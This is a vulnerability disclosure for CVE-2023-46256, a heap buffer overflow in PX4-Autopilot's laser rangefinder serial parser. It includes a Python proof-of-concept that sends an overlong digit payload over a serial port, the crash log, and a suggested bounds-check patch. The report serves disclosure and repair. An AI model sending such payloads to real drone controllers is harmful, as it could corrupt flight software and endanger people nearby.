Headline
CVE-2023-46256: [REPORT] Heap Buffer Overflow Bug Found in src/drivers/distance_sensor/lightware_laser_serial/parser.cpp
PX4-Autopilot provides PX4 flight control solution for drones. In versions 1.14.0-rc1 and prior, PX4-Autopilot has a heap buffer overflow vulnerability in the parser function due to the absence of parserbuf_index
value checking. A malfunction of the sensor device can cause a heap buffer overflow with leading unexpected drone behavior. Malicious applications can exploit the vulnerability even if device sensor malfunction does not occur. Up to the maximum value of an unsigned int
, bytes sized data can be written to the heap memory area. As of time of publication, no fixed version is available.
Summary
We identified a heap buffer overflow vulnerability in the parser function due to the absence of parserbuf_index value checking.
Target code: src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87.
We have investigated by the following process.
- We enabled the lightware_laser_serial driver.
- We wrote the arbitrary input to readbuf buffer used in lightware_laser_serial::collect function.
- The heap buffer overflow vulnerability had triggered in the lightware_parser function when it parses the data.
When we send the following data, it can trigger the vulnerability.
payload = b’\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000’
Details
We first assumed that we can write the arbitrary input into readbuf. We’ve found the corresponding code in src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:175.
int ret = ::read(_fd, &readbuf[0], readlen);
After then, it calls lightware_parser function to parse the read data at src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:222.
if (OK == lightware_parser(readbuf[i], _linebuf, &_linebuf_index, &_parse_state, &distance_m)) {
- readbuf: 10 bytes sized buffer
- _linebuf: LightwareLaserSerial object’s 10 bytes sized buffer
- _linebuf_index: LightwareLaserSerial object’s sizeof(unsigned) sized the index of _linebuf
- _parse_state: state information ( initial value: LW_PARSE_STATE0_UNSYNC )
- distance_m: distance value
In the lightware_parser function, LW_PARSE_STATE2_GOT_DIGIT0 state can be repeated unexpectedly without proper parserbuf_index or state checking. This behavior will trigger a heap buffer overflow vulnerability by allowing to write some data. And the writable size is maximum value of an unsigned int
int lightware_parser(char c, char *parserbuf, unsigned *parserbuf_index, enum LW_PARSE_STATE *state, float *dist) { int ret = -1; char *end;
switch (\*state) { case LW\_PARSE\_STATE0\_UNSYNC: if (c == '\\n') { \*state = LW\_PARSE\_STATE1\_SYNC; <--- \[1\] (\*parserbuf\_index) = 0; } break; case LW\_PARSE\_STATE1\_SYNC: if (c >= '0' && c <= '9') { \*state = LW\_PARSE\_STATE2\_GOT\_DIGIT0; <--- \[2\] parserbuf\[\*parserbuf\_index\] = c; (\*parserbuf\_index)++; } break; case LW\_PARSE\_STATE2\_GOT\_DIGIT0: if (c >= '0' && c <= '9') { \*state = LW\_PARSE\_STATE2\_GOT\_DIGIT0; <--- \[3\] parserbuf\[\*parserbuf\_index\] = c; (\*parserbuf\_index)++; } else if (c == '.') { \*state = LW\_PARSE\_STATE3\_GOT\_DOT; parserbuf\[\*parserbuf\_index\] = c; (\*parserbuf\_index)++; } else { \*state = LW\_PARSE\_STATE0\_UNSYNC; } break; //ommited
}
- After changing the state as [1] → [2] → [3], it repeats the state as LW_PARSE_STATE2_GOT_DIGIT0 during the parsing data.
The problematic situation is caused by the absence of the proper parserbuf_index checking.
- After changing the state as [1] → [2] → [3], it repeats the state as LW_PARSE_STATE2_GOT_DIGIT0 during the parsing data.
PoC****Environment setting
- Create serial interfaces by socat -d -d pty,raw,echo=0 pty,raw,echo=0 command.
- In our case, serial interfaces was created on /dev/pts/2 and /dev/pts/4. The number of serial interfaces can be different on environment.
- Enable lightware_laser_serial driver by make px4_sitl boardconfig command.
- drivers → distance sensors → lightware_laser_serial
- Execute SITL by HEADLESS=1 PX4_ASAN=1 make px4_sitl jmavsim command.
- On the pxh prompt, start lightware_laser_serial driver module by lightware_laser_serial start -d /dev/pts/2 command.
- Execute the PoC code as below.
We have tested on Ubuntu 22.04.3 LTS.
PoC Code
import serial import time
ser = serial.Serial(‘/dev/pts/4’) if ser.isOpen(): print(‘Connection success’) else: print(‘Connection failed’) exit()
payload = b’\n0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000’
try: ser.write(payload) print(f’Sent: {payload}’) except Exception as e: print(f’Error: {e}’)
finally: ser.close() print(‘Connection closed’)
Address Sanitizer Log
================================================================= ==79396==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x611000018240 at pc 0x561dbb3c24aa bp 0x7f76e1b724f0 sp 0x7f76e1b724e0 WRITE of size 1 at 0x611000018240 thread T142 #0 0x561dbb3c24a9 in lightware_parser(char, char*, unsigned int*, LW_PARSE_STATE*, float*) /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87 #1 0x561dbb3c128f in LightwareLaserSerial::collect() /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:222 #2 0x561dbb3c1527 in LightwareLaserSerial::Run() /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial.cpp:319 #3 0x561dbbc34096 in px4::WorkQueue::Run() /home/zeroone/PX4-Autopilot/platforms/common/px4_work_queue/WorkQueue.cpp:188 #4 0x561dbbc34f52 in WorkQueueRunner /home/zeroone/PX4-Autopilot/platforms/common/px4_work_queue/WorkQueueManager.cpp:238 #5 0x7f76e4e94ac2 in start_thread nptl/pthread_create.c:442 #6 0x7f76e4f26a3f (/lib/x86_64-linux-gnu/libc.so.6+0x126a3f)
0x611000018240 is located 0 bytes to the right of 256-byte region [0x611000018140,0x611000018240) allocated by thread T0 here: #0 0x7f76e60b61e7 in operator new(unsigned long) …/…/…/…/src/libsanitizer/asan/asan_new_delete.cpp:99 #1 0x561dbb3c0466 in start /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial_main.cpp:57 #2 0x561dbb3c0466 in lightware_laser_serial_main /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/lightware_laser_serial_main.cpp:158 #3 0x561dbbc50307 (/home/zeroone/PX4-Autopilot/build/px4_sitl_default/bin/px4+0x9f6307)
Thread T142 created by T5 here: #0 0x7f76e6058685 in __interceptor_pthread_create …/…/…/…/src/libsanitizer/asan/asan_interceptors.cpp:216 #1 0x561dbbc35620 in WorkQueueManagerRun /home/zeroone/PX4-Autopilot/platforms/common/px4_work_queue/WorkQueueManager.cpp:324
Thread T5 created by T0 here: #0 0x7f76e6058685 in __interceptor_pthread_create …/…/…/…/src/libsanitizer/asan/asan_interceptors.cpp:216 #1 0x561dbbc30041 in px4_task_spawn_cmd /home/zeroone/PX4-Autopilot/platforms/posix/src/px4/common/tasks.cpp:252
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/zeroone/PX4-Autopilot/src/drivers/distance_sensor/lightware_laser_serial/parser.cpp:87 in lightware_parser(char, char*, unsigned int*, LW_PARSE_STATE*, float*) Shadow bytes around the buggy address: 0x0c227fffaff0: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa 0x0c227fffb000: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c227fffb010: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x0c227fffb020: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x0c227fffb030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c227fffb040: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa 0x0c227fffb050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fffb060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fffb070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fffb080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c227fffb090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==79396==ABORTING
Recommended Patch
int lightware_parser(char c, char *parserbuf, unsigned *parserbuf_index, enum LW_PARSE_STATE *state, float *dist) { int ret = -1; char *end;
switch (\*state) {
case LW\_PARSE\_STATE0\_UNSYNC:
if (c == '\\n') {
\*state = LW\_PARSE\_STATE1\_SYNC;
(\*parserbuf\_index) = 0;
}
break;
case LW\_PARSE\_STATE1\_SYNC:
if (c >= '0' && c <= '9') {
\*state = LW\_PARSE\_STATE2\_GOT\_DIGIT0;
parserbuf\[\*parserbuf\_index\] = c;
(\*parserbuf\_index)++;
}
break;
case LW\_PARSE\_STATE2\_GOT\_DIGIT0:
if (c >= '0' && c <= '9') {
if ( \*parserbuf\_index > 6 ) { <--- \[1\] should not be bigger than 6
\*state = LW\_PARSE\_STATE0\_UNSYNC;
}else {
\*state = LW\_PARSE\_STATE2\_GOT\_DIGIT0;
parserbuf\[\*parserbuf\_index\] = c;
(\*parserbuf\_index)++;
}
} else if (c == '.') {
\*state = LW\_PARSE\_STATE3\_GOT\_DOT;
parserbuf\[\*parserbuf\_index\] = c;
(\*parserbuf\_index)++;
} else {
\*state = LW\_PARSE\_STATE0\_UNSYNC;
}
break;
//ommited
}
- After the state becomes LW_PARSE_STATE2_GOT_DIGIT0, the increment operation of parserbuf_index can be done 3 times. Considering the size of readline is 10 bytes, the parserbuf_index value shouldn’t be bigger than 9.
- So, we recommend to patch by adding a checking logic whether parserbuf_index is bigger than 6. If parserbuf_index value is bigger than 6, the state must be initialized with LW_PARSE_STATE0_UNSYNC.
Impact
- A malfunction of the sensor device can cause a heap buffer overflow with leading unexpected drone behavior.
- Malicious applications can exploit the vulnerability even if device sensor malfunction does not occur.
- Up to maximum value of an unsigned int bytes sized data can be written to the heap memory area.